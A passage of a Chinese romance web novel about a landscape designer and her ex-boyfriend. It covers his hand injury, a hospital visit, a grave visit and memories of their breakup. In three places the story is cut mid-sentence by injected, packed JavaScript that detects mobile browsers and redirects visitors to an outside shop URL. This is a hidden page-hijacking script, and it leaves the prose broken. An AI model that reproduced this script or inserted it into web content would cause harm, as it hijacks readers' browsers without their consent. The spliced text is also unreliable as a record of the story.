汽车行驶间,霓虹灯的光束落在舒洛原的脸侧,他的眼睛在明暗中跳跃着,蓦地他弯下腰去,捧起了她刚刚断裂的那根鞋跟系带,云诗加微微勾起脚尖,瑟缩着往后靠了靠,并没躲开。 舒洛原端详了半晌,索性把那根系带的另一端连接处解开了取下来,他说:“留着反而容易绊着。” “帮我扔了吧。”云诗加语气坦荡,“这鞋好久没穿了,估计放坏了。” 尹奇睿开着车,没什么眼色地插了一句:“是啊,鞋子就是这样的,一直穿倒还好,放久了不穿反而容易坏了,我上次有双皮鞋也是……” “Jerry。”舒洛原打断了他,“好好开车,前面绿灯了。” 尹奇睿从车内后视镜看了眼他的神色,适时闭上了嘴。 云诗加倒被他勾起了谈心,突然发问:“刚刚听说,你们是留学时认识的?” 尹奇睿“嗯”了一声,灵机一动想帮兄弟立一个好人设,接着说:“是啊,我水土不服,他身强体壮适应得很好,好几次生病都是他送我去的医院,他还照顾我可怜的生活费,没帮我叫美国巨贵的救护车,有一次甚至是生生把我扛去的诊所,简直是我的救命恩人!” 说完他洋洋得意地又看了一眼后视镜,没想到看见一张愈加铁青的脸,脸上写满了山雨欲来。 舒洛原几乎是从牙缝里挤出了几个字:“好好开你的车!” 云诗加淡淡地瞥了他一眼,没说什么,也没有表露任何不该有的痕迹。 她素来知道他是会说话的,过去他是清大辩论队的一员,她去看过他一场比赛,可以把黑的说成白的,巧言令色,无所不用其极,尤其是对待人际关系这方面,他更是自成一派,她也承认,过去在他身上学到许多。 譬如他说,许多人就不爱听真话,只想听假话,那就不妨说给他们听。 车窗外依旧细雨绵绵,红灯处,路边有一对男女拉拉扯扯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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良久的僵持中,云诗加听见有人在转角树丛后叫他的名字:“舒洛原?” 穿着格子短裙的高挑美女蒋茹出现在两人面前,她高兴地说:“还以为我看错了呢,舒洛原,你不是比赛完说要见朋友去吗?怎么还在这里?” 舒洛原把眼眶里的猩红拼命眨去,皱着眉,只觉得辩论队队友的出现令人更加烦躁,他明明记得他跟另一名队友说的是他要去见女朋友,不知是哪个环节出了错,竟省去了这关键的一个字。 但他正在气头上,便顺势哼了一声:“这位就是我的,朋、友。” 蒋茹没发现有什么不对的,友好地伸出右手,“你好,我是舒洛原的辩论队队友,蒋茹,草字头的茹。” 云诗加伸手与她相握,淡淡笑了笑,“你好。” “你们怎么认识的呀?”蒋茹性格大大咧咧,自来熟,有什么问题便直接问了。 “嗯……算是高中同学。” 云诗加说出口又觉得后悔,瞥眼看见舒洛原的下颌线被咬成一条清晰的弧线。 “哇塞,你是洛原的高中同学啊?那你一定知道他过去很多事情吧?实不相瞒,我正在追求他,却不知道他有什么爱好……?”蒋茹眼睛里放着光。 “抱歉,我们还有事要处理,借过。”舒洛原拉着云诗加的手腕,直接把她带走了。 那一晚的酒店,隔壁是他辩论队的队友们,云诗加被抵在垫着软枕的床头靠上,她咬着唇闷哼,不敢发出声响,但舒洛原却使着坏,他清楚所有能挑起她惊叫的敏感点,她憋得面颊发烫,比他白日的眼眶更加赤红。 舒洛原依旧愤怒的面孔在她眼前起起伏伏,将床头灯的光线反复遮蔽又闪烁,她的眼前忽明忽暗,生理性的泪水涌上眼眶。 泪眼朦胧间,听见他喘息着说:“同学?有可以这样做的同学关系吗?” 20. 020 新伤旧疤 澈园如火如荼地修复着,根据云诗加的图纸,已然完成了一半。 杂草落叶与堆积泥土都被清理干净,部分有病虫害或已然倾斜的树木进行了治理加固,池底被淤泥堵塞的暗沟也被重新打通,水系更加活络。 根据她的设计,余下便要植入新的植物配置,再将鹅卵石花街铺地铺上,放养些小鱼螺蛳、种植些水生植物来形成水池的微生态,好让水流不再发臭。 这日天气好不容易放晴一天,云诗加照例过来巡视现场状况。 澈园的工人们在后门往外搬运建筑垃圾,恰巧蟹塘的几个工人也在给蟹塘清淤,两方人员的垃圾竟往同一辆车上运,互相搭把手,没几下便装满了一辆车,合作之默契看着不像第一次。 云诗加唤来了金琳:“怎么回事儿?” 金琳挠了挠头:“一起运垃圾省钱啊,前些天遇到上次那个尹总,他说我们只需要付三分之一清运费就行,他们出其他的杂项、人工费什么的,我立马觉得是个好主意,所以就……先斩后奏了,加姐你也觉得是个好主意吧?” 云诗加这才知道,金琳每日往返间,和隔壁蟹塘的好多人都混了个脸熟。 云诗加睨了她一眼:“你觉得有天上掉下来的馅饼?那个尹奇睿有这么好心?” “上次水系的事情不是解决了嘛,他们施工方也很配合,还帮我们一起清了池塘的淤泥,几次打交道,我感觉那个尹总不像什么坏人,就是情商低了点,说话有些难听,况且这个垃圾清运每天不少钱呢,咱们创业初期,得一分钱掰成两半花。”金琳谄媚地笑说。 云诗加也没多想,拍了拍金琳肩膀上的尘土说:“你倒是精明了,算了,既然如此就先这么执行吧。” 金琳笑嘻嘻:“好嘞加姐,那我忙去了。” 金琳跑到了后门口,帮着装卸物资。 交代给金琳的事情她一向比较放心,这次来也只是寻找一些新项目的灵感,云诗加随手拍了拍月洞门的门枕石上的灰尘,席地而坐,将带来的图纸和现状对照着勾画一些细节,耳朵里不免漏进一些工人们的闲谈。 他们说,原先的老板今年年初过世了,新老板作为儿子才接手工作不太熟悉,还说新老板好像学历很好,在国外混得不错,原不想回家接管的,估计是因为父亲过世才回来的,不过他们挺满意的,因为新老板来了以后,福利涨了不少,干活儿都有劲了。 “金琳,”云诗加又扬手叫助理过来,“他们刚刚说的新老板是……” “舒总吧?”金琳恍然不知老板所想,把她知道的消息都全盘托出:“听说舒总给那些临时工都买了五险一金……” “我不是问这个,他父亲去世了?” 金琳点头:“嗯,好像是的。” “怎么走的?” “那我就不知道了,没听他们聊起过,要我去帮你打听一下吗,加姐?” 云诗加斜了她一眼:“不用,我看你很闲嘛。” 金琳假装害怕地捂着头:“嘿嘿,没有没有,鹅卵石送货的人好像快到了,我去门口接应一下,加姐我忙去了,拜拜。” 云诗加记得,舒洛原曾对她提及过,他的父亲是个长相俊俏却不识几个大字的男人,靠着一张帅脸俘获了他高学历的母亲的芳心,但他们婚后的生活也是一片狼藉。 养蟹是他父亲祖传的手艺,每天跟泥土、饲料等打交道,身上难免沾染俗气,他母亲却是一名救死扶伤的医生,对卫生要求极为严苛,两人常为此吵架。 舒洛原曾经笑着说,他父亲就希望他多读书,做一个高级白领,离蟹塘和泥土远远的。 也不知为什么,他要违背父亲的意愿,回到这不熟悉的慢节奏的蟹塘来发展。 云诗加甩甩头,给舒洛原发去了消息:【垃圾清运的钱我们还是AA的好,账单可以发我,我助理不懂事,在商言商。】 舒洛原暂时没回消息。 云诗加叹了口气,去盯了会儿工人运花木,有几株是甲方点名要的名贵花木,她怕工人毛手毛脚弄坏了。 腊梅树种在了花台下,垂柳和菖蒲种在了水边,墙角檐下她择了几株芭蕉和南天竹作为景衬。 忙完一圈打开手机,舒洛原依旧没有回信,倒是有个过去职场上认识的不熟的朋友发来一份工作邀请:【江湖救急!明天楼盘要验收了,许多领导要来视察,但我找的绿化修剪师傅突然失联了……】 比起做修复澈园这种带点艺术性质的好活儿,许多同行都不屑于接一些修剪小区绿化的脏活累活。 云诗加没那么多讲究,阳春白雪固然好,但挣到兜里的钱才能让她觉得热乎。 她回复:【地址,我马上来。】 工作室人手不足,大多数都在澈园这头忙活,云诗加完成了初期设计图纸,她倒成了最闲的那个,这绿化修剪的活儿她准备自己去干。 临时吩咐金琳晚些时候按地址叫清运车去小区收绿化垃圾,她便带上几个工人,开上皮卡出发了。 到了现场,向她求救的朋友刘萍迎上来,跟她解释了修剪要求,刘萍在某地产公司做项目经理多年,在应付检查和验收方面经验老道。 “只要这条主路修得好看些,其他一些边角你看着弄就成!我到时候再找人来弄细节,先应付一下验收吧,实在是麻烦你了,今天时间也不早了,我找了好几个师傅都说手上已经有活了赶不过来,不然还能多找几个人帮帮忙,也好完成快些,还有就是……高空作业车我也没借到,最快的一辆也得明天才能调过来……” “没事,包在我身上。” 前几天刚刮过风下过雨,几棵新栽植的树木情况并不太好,云诗加吩咐工人把部分不稳固的植株先进行固定,自己打开皮卡货斗里的工具箱,换上了工装裤,套上耐磨的工装外套,系上安全绳,她蹬着树干往上爬。 好在这个小区的树种都是新培育栽植的,不算太高,她没几下便到了顶。 小区不大,主干道总共就十几棵常绿树,她没花多久便将一些不合眼的细枝裁去,两个工人配合着,修剪出一条疏密度、透光度、美观度都符合大众审美的主干道。 一眨眼已经到了傍晚,云诗加修剪完最后一棵香樟树,坐在树枝上喝了口水,长长地舒了一口气。 正是太阳落下后的蓝调时刻,周围寂静下来,远处垃圾清运车从门口驶进来,缓缓停在了主干道上,工人们迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359372|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去,打开垃圾车的车斗,开始清理道路上的杂枝和树叶。 云诗加靠在树枝上休息了会儿,刚准备下树,就看见一个高大的身影从垃圾清运车的驾驶座上跳了下来,他穿着一身蓝色工装,身姿挺拔,不是舒洛原还能有谁。 他袖口挽起,视线在工人堆里穿梭,终于锁定了坐在树上的女人。 天色渐暗,一错眼,他似乎看见她腰上的安全绳锁扣并没完全扣上,而她却直接打算跳下树,他的心脏跟着骤停了,一个箭步冲上去,打算用自己的双臂托住她。 一切发生得很突然。 云诗加的双脚稳稳落在地上,她活动了一下僵硬的肩膀,转头一看,有人扑通一声跪倒在了自己面前,以一个狗吃屎的狼狈姿势。 主干道上杂枝遍地,舒洛原没看清脚下,被绊了一跤,手掌撑在地上,被一条带刺的枝条划伤了。 红色的鲜血从他的手腕处流出来,滴在绿色的树叶与枝条上,一下变得刺目。 舒洛原从地上很快爬起,看着鲜血淋漓的手腕,他只是微微皱眉。 云诗加没说话,跑到了自己的皮卡车上,快速取回了急救箱,她拉着他的手,一股脑地将碘伏倒在了他的伤口上,棕色的碘伏液滴落在她的身上她也恍然不知,笨拙地为他的伤口缠上纱布。 他的新伤恰好横在旧伤疤上。 那条为了替她挡下啤酒瓶才划出的旧伤疤狰狞地提示着他们的过去。 “我没事,小伤。”他说。 看着纱布上洇出红痕,云诗加突然觉得鼻子阻塞了,滚烫的热泪从脸颊悄然划过,灼痛了她想躲避的过去。 那年夏天,她吻上他的那一刻,内心早就做好了所有预想,被他厌烦也好,被他唾弃也好,就当她是因为这浪漫的英雄救美一时上了头,就当她见色起意,她想为自己青春说不清道不明的爱恋做一个勇敢的尾注。 她本意只想亲吻一下他的唇角,轻轻地擦过,便是她能想到的最过分、最出格的行为了。 更何况他的手臂还在滴着鲜血,应当在她的一吻过后赶紧去医院包扎。 谁知他如此猛烈澎湃地回应了她。 他无师自通地把她吻得七荤八素,眼前冒起了金星,脑子里空无一物,吻得险些晕厥。 一吻过后良久,她才恍然想起来置身何地,看着他被碎片割伤的小臂,她的泪又落了下来,哭得抽抽噎噎。 “呜呜你的手……怎么办……”她哭得喘不过气来,想问他痛不痛,却又一时说不出话来。 “我不痛。”他仿佛知道她想问什么似的,用没受伤的那只手轻轻抚摸着她的发鬓,他说:“没事,看着血多,但我知道,伤口不深。” “医院……”她抽噎着说。 “好,我来打车。”他自然地牵起她的手,往巷子外走去。 云诗加满脸泪痕,胡乱地猛点头。 可是那个七夕夜,人流太多打不上车,于是他们逆着人流走了很远的路才找到一家小诊所。 她一直没意识到自己在揪着他的外套下摆,依偎在他没受伤的那侧肩头,而他也没意识到自己的心跳频率比刚刚夺下酒瓶时凶险的那一刻还要快速。 21. 021 可依 握着皮卡车方向盘的云诗加心想,她已经不再是当年那个无措的女孩了。 把收尾工作交给工人们,她带着舒洛原去医院的路上,她问:“你怎么来了?” 舒洛原说:“我去蟹塘看水质的时候听你助理说你接了个急单,要派辆垃圾清运车过来,我今天早上怕宿醉造成酒驾,没开车去蟹塘,而且我就住在这附近,把垃圾车开过来我就正好回家了,也算一举两得。” 云诗加望着他纱布表面尚未干涸的血渍,一时间没说话。 到了医院,挂急诊排队时,云诗加问他要手机上的医保码。 舒洛原闲靠在墙壁上,没受伤的手托着受伤的手臂半举着,事不关己似的,“忘了,好像放在哪个口袋里了。” 云诗加没跟他见外,既然他两只手都不得空,她就直接伸进他的蓝色工装服口袋里摸索,右边口袋没有,左边口袋也没有,连带屁股上的两个口袋她都摸过了,还是没有。 “手机呢?”她疑惑地看着他。 舒洛原半眯着眼睛,一脸享受的表情,简直欠揍,他说:“你再摸摸呢?” “舒总,我没在跟你调情!” 云诗加气哼哼的,要不是因为他这一出,她估计早就可以回家休息了,他还要跟她来这一套,一点都不害臊! 舒洛原见她生气了,忙收起吊儿郎当的态度,恍然大悟说:“哦好像想起来了,在我的内袋里。” 云诗加一把拉下他的外套拉链,冷静地摸进他的胸膛,从外套的内袋里摸出了他的手机,正好排到了他们,她利索地输入手机密码,打开手机的医保界面伸进了窗口里。 拿了挂号单,还得在诊室门口排队,不乏有伤势比舒洛原严重得多的患者,看得让人揪心。 又来了一位头破血流的,舒洛原掀起外套罩在了云诗加的侧脸,把刺目的画面隔绝在外,外套和墙壁为他们撑起了一片隐秘的空间。 他低头轻声说:“你还记得我的密码。” 云诗加刚才情急,也顾不得许多,现在看见更惨烈的画面,加上舒洛原手上的血迹已经干涸,她的理智回了炉。 她反击道:“谁让你没换密码。” “哦,你对我们在一起的日期还记得这么清楚啊……” 云诗加只觉得心里重重跳了一下,但她还是嘴硬:“我记性好,有问题?” “没问题,”他说,“当然没问题,你记得就好。” 在云诗加垂落的视线里,他的胸膛一鼓一鼓的,声音震动着传进她的耳朵,黏糊不清。 电子屏上喊了舒洛原的号,云诗加陪他进了诊室。 青年医生解开她包扎粗糙的纱布,抬头看了眼她有泪痕的脸,诙谐问道:“怎么伤的?英雄救美?” 云诗加:“他自己摔的,树枝划伤。” 医生啧啧摇头:“没见过自己摔成这样的。” 说完,消毒水从舒洛原的伤口上倒下去,混着半干的血液流下,缝合的针线穿过他的新伤与旧疤,舒洛原微微侧头皱眉。 医生为了转移患者注意力,又问:“这旧伤看上去更严重啊,这又是怎么弄的?” 舒洛原疼痛之余还有闲心笑起来,他说:“这是英雄救美弄来的。” 这位青年医生哈哈大笑起来,说:“你这人倒是有点意思。” 云诗加:“……” 到底哪里好笑了? 缝合到最后一针时,舒洛原透过听诊器盒子的反光看着里面云诗加的倒影,她只是微微蹙着眉,像一个与他无关紧要的人。 他还记得那一年,他在缝伤口时,她的泪比他流的血都要多,几乎要将诊室淹没。 他只能一边缝针一边用另一边袖子给她擦泪,还要安慰她说:“别哭了,我不是很痛,真的,不骗你,你看我,不是还在笑吗?” 云诗加哭得不像话,她的睫毛上缀满了泪珠,抽抽噎噎说:“一定很痛……我看着就好痛好痛……” 那时的他只觉得胸口被猛击了一下,从未有过的柔情爱意涓涓从灵魂深处流了下来。 其实她当时哭得并不好看,脸是皱皱的,衣服也是旧旧的,烧烤摊熏了一天的皮肤泛着油,皙白的脸蛋被泪痕分割成好几部分,外面蓝红色的救护车灯光照在她的脸上,将她的脸也染成蓝红色的。 白的蓝的红的,目无章法地混在一起。 可他觉得她是美的,是一种他喜欢的、与他相关的美。 那一刻,他承认,他无可救药地爱上了她。 下一秒,她扑进了他的怀里,满脸的眼泪浸湿了他单薄的上衣,黑色的布料上留下了不规则的深色印迹,同时他的胸口皮肤凉湿一片。 他用另一只手搂住了她的后背,目光扫过诊室墙壁上的挂钟。 他说:“云诗加,好像零点了,这是我们在一起的第一天,恋爱快乐。” 他有些庆幸,那天堂姐让他陪她去酒吧,他原本不想去,堂姐硬拉着他去的。 幸好他去了,不然……后果不堪设想。 这样想着,他突然觉得心里的那些纠葛都烟消云散了。 现在她还在他的身边,就什么都不重要了。 缝好针从医院出来的时候,天空又下起了雨,扑面而来一阵晚风,带着湿润而幽远的味道,像从遥远的山里吹来的。 舒洛原猛吸了一口,突然来了兴致:“不如我们散个步吧?” 像她和向笙和在湖边散的步那样。 云诗加睨了他一眼,没好气说:“你这手……算了吧,赶紧回去休息,我也累了一天了。” 说完她搀扶着他,把他和医生开的消炎药一同塞进了皮卡车的副驾驶。 “地址。”她把手机导航打开递给他,放下了手刹,稳稳起步。 舒洛原在她的导航上输入了自家地址,点击开始导航后放回了手机架上。 从医院停车场驶出去,右拐时,云诗加瞥了眼导航目的地,她明显吃了一惊。 “你就住在我家对面?” 舒洛原从鼻子里哼了一声:“你才发现啊。” 云诗加:“……你怎么不早点说。” 舒洛原:“你也没问啊。” 云诗加沉默了一会儿,她想起曾经他们关了灯窝在酒店的被子里,仰面躺着,一起幻想过两人一起生活的画面。 他说,要有个露天的阳台,种一些她喜欢的花花草草,门口放一个岛台,放满水果,还要放一个大花瓶,每周都换上新鲜的花,进门就能闻见水果香气和花香。 她说,要有一面墙做书架,放满他喜欢的书,还要有一间书房和一张超级大书桌,坐得下两个人,她在一头画设计图的时候,他可以在另一头看书或者打游戏,岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363018|199400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月静好。 她在工作后贷款买了现在住的这个房子,两室一厅,不到一百平,同时开盘的几个小区里,她买的这个小区算是单价最贵的,性价比不高,物业费也偏贵。 但她第一眼就爱上了这套房子,精装修的样板房,进门就是大理石岛台,超大的阳台没有封起来,暖黄的阳光洒进来,照在满墙书架上,书房足够放一张能坐下三四人的大桌子。 合眼缘的房子不多,她当即就下了定金,然后背上了遥遥无期的房贷。 但当她第一天搬进去的时候,她就感叹,是值得的。 她早就想有一个自己的房子,小一点也没关系,旧一点也没关系,她想离父母的争吵远远的,想做点什么就做点什么,没有人来对她的生活指手画脚。 车子开进小区时,舒洛原突然打破车厢里的安静,他说:“我喜欢这个小区的窗户,很大,可以看到楼下的树冠和草地。” 云诗加点头:“我也喜欢。” “看来我们眼光一致。”他老神在在地下了定论。 云诗加没理他,一把倒进了车位,下了车,往单元口走。 “欸,加加,”舒洛原在身后唤她,他仍旧站在她的皮卡车旁边,半倚着车门,噙着笑,“明天有空吗?” “没有。”她摁亮了电梯键。 “后天呢?” “也没有。” 舒洛原眯起眼睛:“谢如一他们搞的那个楼盘明后天有活动啊,不去看看吗?” 电梯到了,云诗加走进电梯,抵住了电梯门,怔了两秒,她抬眼看他说:“少操心了你,回去好好休息几天吧,生意多一单也撑不着,少一单也饿不死。” “你这是在关心我了?”舒洛原的声音很有磁性,在空旷的地下停车场里扩散得很快。 云诗加没好气:“别浪费我付的医药费,谢谢!” 刚刚在医院的费用是她付的,就当她抵了他代付的垃圾清运费了。 说完她松开了抵在电梯门上的手,电梯门合上前,她听见他不死心地在问:“那你明天干什么去?” 云诗加看了眼手机的日历,明天是外婆的忌日,她要扫墓去。 人死灯灭,外婆在活着的时候就没得到过多少人的惦念,更遑论死了。 但云诗加是总想着她的,她不止一次庆幸,大学时她坚持用自己赚来的钱带着外婆出门旅行了两次,外婆嘴上只说她浪费钱,但她知道,外婆回去后一直跟邻居乡亲们炫耀,外婆心里是高兴的。 带外婆出去旅行也并不全是为了外婆,云诗加想,另一半是她自己的私心,真到了外婆离开的那一天,她的心里不至于有那么多的遗憾。 初夏的清晨总是下雨,到墓园的时候才将将七点。 墓园在一个半山坡上,空气中混着雨后山谷与沥青的苦涩味道,云诗加把车停在了正门外,提着一篮祭祀用品徒步上了山。 外婆的墓地不算很好的位置,是她生前自己置办下的,但好在僻静,还有一棵大树可依。 外婆已经走了好几年,悲伤早已经淡去了,剩下的只是渗在生活丝丝缕缕的怀念。 可当云诗加登上小路,看见大树后舒洛原高大的背影,他穿着黑色风衣,虔诚跪在墓前,一束铃兰花的花瓣被打落了一地,白色的星星点点混着泥泞。 她突然鼻头一酸。 22. 022 虔诚 “你怎么来了?” 云诗加放下篮子,把鸡鸭鱼肉水果都供奉到外婆的坟前,点了炷香。 香的轻烟袅袅,舒洛原的神色看不清。 “我料想你今天会来,我也来祭拜一下你外婆。” 云诗加没说话,对着墓碑磕了三个头,又将带来的米酒洒在地上,拿出工具开始清理坟前的杂草。 舒洛原接过她手上的工具开始帮忙。 云诗加把工具夺了回来:“你的手还伤着呢。” 无奈,舒洛原撑起了伞,站在她身旁看她忙活。 杂草清理得差不多了,雨突然下大了,大树的叶片间挂下豆大的雨珠,砸在伞面上,砰砰作响。 云诗加望着远处雾蒙蒙的天,突然起了话头:“小时候我不理解为什么外婆和村里那些阿婆们都喜欢做一些祭祀啊、求神拜佛什么的。” “嗯。”舒洛原撑着伞,认真听着。 “我看见她们杀鸡,血洒在地上,我小时候害怕,道士们会念念有词,挥来挥去,明明很奇怪的场景,但阿婆们总是一脸虔诚,她们是真的相信这些。” “直到外婆去世以后,我突然也开始希望,那些通灵啊、鬼神之说,可以是真的,这样我就能在道士做法时,或者外婆托梦给我时,跟她说说话。” 舒洛原轻轻抚过她微凉的手背,语气柔和:“会的,外婆能听见你说话,只要你过得好,她一定会高兴的,只要你还记得她,她就还活在你看不见的地方。” “谢谢。” 云诗加吸了吸鼻子。 “对了,”她突然想到那股怪异感是哪里来的,“你怎么知道我外婆葬在这里?” 舒洛原明显被她问得有些不知所措,脸上一阵惊慌后,他指着这片矮山后头。 “我父亲葬在那边,上次来偶然发现你外婆的墓在这里。” 云诗加狐疑之余只能暂且选择相信:“哦。” 末了她又问起:“你父亲……是怎么去世的?如果你不想说的话……” “摔了一跤,在蟹塘上的田埂摔的,一头栽下去,周边没人,送医不及时,就……” 他淡淡说着,把忧伤一带而过。 “抱歉。”云诗加反手握住他的手,又突然放开。 她想起谢如一掉下蟹塘的那天,他在船上慌了手脚,一向冷静的他颤抖着抛去救生圈,几乎条件反射要跳下去救人。 “所以得谢谢你,那天要不是你,我真不一定能将谢如一救上来。”他的眸子里隐隐浮着让她难以直视的动容。 “都过去了。”她安慰说,“既然来了,去给你爸爸上柱香吧。” 云诗加把贡品篮里剩余的一把香拿出来,递给他,临走之前,她俯身摸了一下外婆墓碑上泛旧的相片,外婆慈眉善目,笑吟吟地看着她,仿佛从未有过病痛。 舒洛原应了声好。 两人撑伞相携往山后走去,那是另一片墓林,他父亲的墓前很干净,应当有人不久前清扫过,舒洛原祭拜了一下,上了炷香。 静静站了一会儿,舒洛原开口说:“爸,这是加加,你没见过吧。” 云诗加对着灰白色的墓碑鞠了个躬,什么都没说。 沿着步道往下走,隔着雨雾看着满山满林的墓碑,云诗加触景生情,难免提及往事。 “当年还得谢谢你,你借了我一笔钱,你妈妈在医院也帮了很多忙,我外婆最后没有走得太痛苦,也让我也没那么多遗憾。” 她难得心平气和地说起那些事,舒洛原故作轻松地耸耸肩:“你最后不是还给我了嘛,有借有还,再借不难,别有什么负担,我妈本来就是医生,救死扶伤是她的职业。” 空气安静了几秒。 舒洛原和云诗加不约而同地想起,那段时间,他们不停地争吵,像两只尚且不会使用鸟喙的雏鸟,不经意间将尖锥戳进互相的肌肤里,留下难以磨灭的伤疤。 在她大三那年,外婆生了病。 一开始她是被瞒着的,外婆舍不得花钱,把病拖得严重了才去了医院,那几年她妈云画因为流产伤了身体,吃药调理也花了不少钱,加上家底本就薄,一时间捉襟见肘。 大伯陈光华借了她家一笔钱,正值堂弟高考但成绩不佳,大伯顺势提出,她每周回来看外婆时给堂弟补习功课。 从那时起,她就不喜欢欠别人的人情,因为她亲身体验过,还人情的时候有多无力。 借住之恩,家庭的债务,外婆的病,学校的学业,异地的恋人,来回奔波的精力…… 所有事情都压得她喘不过气,她不知道要跟谁讲述,于是变得易怒急躁。 某次舒洛原打来电话,问她寒假怎么安排,邀请她一同去北方滑雪玩,还说有几个同学也想一起去,他的声音洋溢着放假和出游的喜悦。 云诗加正在去补习班接送堂弟的路上,她冷冷地拒绝了。 舒洛原不解,加上之前被她多次拒绝的恼怒,他的语气也不好:“为什么又要拒绝我?加加,你总不能永远不见我的朋友,也不让我见你的朋友吧?” 她隔着电话大声说:“我没有朋友,我也不想见你的朋友,你什么都不懂!你是在温室里长大的人,怎么会懂我的痛苦呢!” 舒洛原听见她在电话那头抽泣的声音,心都被揪起来了似的,他说:“我马上回来,等我。” 他坐最早的一班飞机回来,冲到医院抱住了她,他说,放心,有我呢。 云诗加埋在他的怀里,贪恋一时的温暖和庇佑。 但她很快又冷静下来,舒洛原将他所有的压岁钱和存款都借给她,面对那一大笔钱,云诗加写了一张欠条给他。 舒洛原愈发不解:“为什么要跟我这么见外?” 云诗加冷静说道:“一码归一码,我不想欠你的。” “我们之间,为什么要说欠?难道我们的爱不足够吗?” 云诗加摇头:“你不懂。” “对,我不懂,我是不懂,你永远把我往外推,把你的世界和我的世界隔离开,我每次都有种错觉,我们是两个 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身后突然有一道女声,云诗加赶忙眨去眼睛里的湿意,朝后看去。 穿着白大褂的中年女人亲昵地走上来,拍了拍儿子的肩膀,问他说:“小洛,你什么时候回来的?怎么也不告诉我?我好跟同事调个班啊。” “妈。” 舒洛原低声唤道,云诗加第一次从他的脸上看到了腼腆的表情。 “妈,这是我女朋友,云诗加。加加,这是我妈妈。”他立马开始介绍。 “阿姨好。” 云诗加拢了拢外套,突然想起自己还穿着昨天的衣服,昨晚在医院陪夜,衣服定然皱巴巴的。 叶宝珍很大方地朝她打招呼:“欸,你好你好,听小洛提起过好几次了,小姑娘长得真漂亮,你跟小洛是高中同学吧?现在在哪里上学呀?” 提起这个,云诗加难免有些难以启齿:“阿姨,其实我……” “妈,你怎么上来就问这问那的,查户口呢。” 舒洛原及时打断了母亲的八卦时间,把母亲拉到一边。 叶宝珍了然地一笑:“好好好,你们聊你们的,我马上有个门诊呢,我先走了哈。” “阿姨再见。” 云诗加望着叶宝珍的白大衣消失在门诊大楼里。 舒洛原说:“对不起啊,我妈妈就是有点儿好奇,我下次找个时间,让你们正式见个面,这次先不算。” “没事,”云诗加说,“那我先上去照顾外婆了。” 舒洛原目送她的背影离去,她恍惚着走进住院楼,白色的墙壁和高大的楼宇将她吞噬了进去,不知道为何,他突然有种奇怪的错觉,她似乎在慢慢离开他的世界。 事实也确实如此。 第二年的毕业季,云诗加向他提出了分手,用了一个移情别恋的老土理由,单方面地为他们的爱情长跑画上了句号。 23. 023 命运自有安排 云诗加提分手的那天,舒洛原记得很清楚,也是一个梅雨天。 他不得不承认,在那天之前,他就冥冥之中有了预兆。 毕业季他们两人都忙得不可开交,他的毕业论文被导师卡了两次,几乎是重新推翻重写了两遍,本来就焦头烂额,本想把留学申请的冗杂工作交给留学中介去代为办理,但又碰上了一个不负责任的中介,最后还是得自己操办。 云诗加的毕业设计也进展得并不顺利,她的毕业设计涉及校企合作,企业方派来的人给他们传达的信息有误,导致整个组的人都设计错了方向,临时改动让她熬了好几个大夜。 舒洛原时常忙完一看,已经是凌晨,也不好意思再打电话给她,他们只能每天在线上互相道早安晚安,以确认对方还安好。 作息混乱的两个人连每天的清醒时间都没法对上号。 偶有空闲,他们常常争吵,话题无非一个,关于他们的未来。 舒洛原要留学,云诗加准备直接工作,她在投了许多简历,最后签了一家设计院,做景观设计师。 但她签下的工资并不高,付完房租之后只能月光。 舒洛原想帮她争取权益,他说不如再多找找,或许还有其他待遇更好的公司,或者…… 他说,加加,要不我们一起去留学吧,你别怕,我用奖学金帮你付学费。 云诗加冷笑,她说,舒洛原,你为何如此天真。 交完毕设的那天,舒洛原买了早班机的票,飞到了申城。 等待他的是三天没有回消息的女朋友,和那个靠着青梅竹马的名头时常出现在加加身边的男人。 向笙和那日来帮云诗加搬运模型材料。 模型仓促完成,部分胶水脱落,几片构筑物摇摇欲坠,又是下雨天,云诗加只能一边打伞一边用手护着模型重要零件,跟向笙和合作着将模型抬到了毕设展厅。 落在远处舒洛原的眼里,同撑一把伞就算了,向笙和的手还搂在云诗加的腰上,两人堂而皇之地出现在她的老师和同学面前。 他气得几乎要疯掉。 但他自认为是个讲道理的人,他在展厅外的长椅上淋了半日的雨,眼睛猩红,生生憋到了云诗加答辩结束才去质问她。 “那个姓向的怎么在这里?” 舒洛原拽着云诗加漫无目的地走到了一处僻静地,站在废弃教学楼的屋檐下,他开门见山。 “他来看我的毕设答辩。”她说。 “我看见了,”他的声音哽咽,“我看见他……他搂着你,所以这就是我不能被你的同学看见的理由吗?” 坐在展厅外的下午,他想了很多种可能。 舒洛原学过概率统计学,盘旋在他心头概率最大的理由便是这个。 他只是她难以启齿的PlanB,是青梅与竹马的备选。 骄傲如他,他不愿意承认内心深处的另一种可能性——无关其他,她只是单纯地不愿意将他们的关系公之于众。 他更愿意把这一切责怪到另一个人头上,好消解他多年的幽怨。 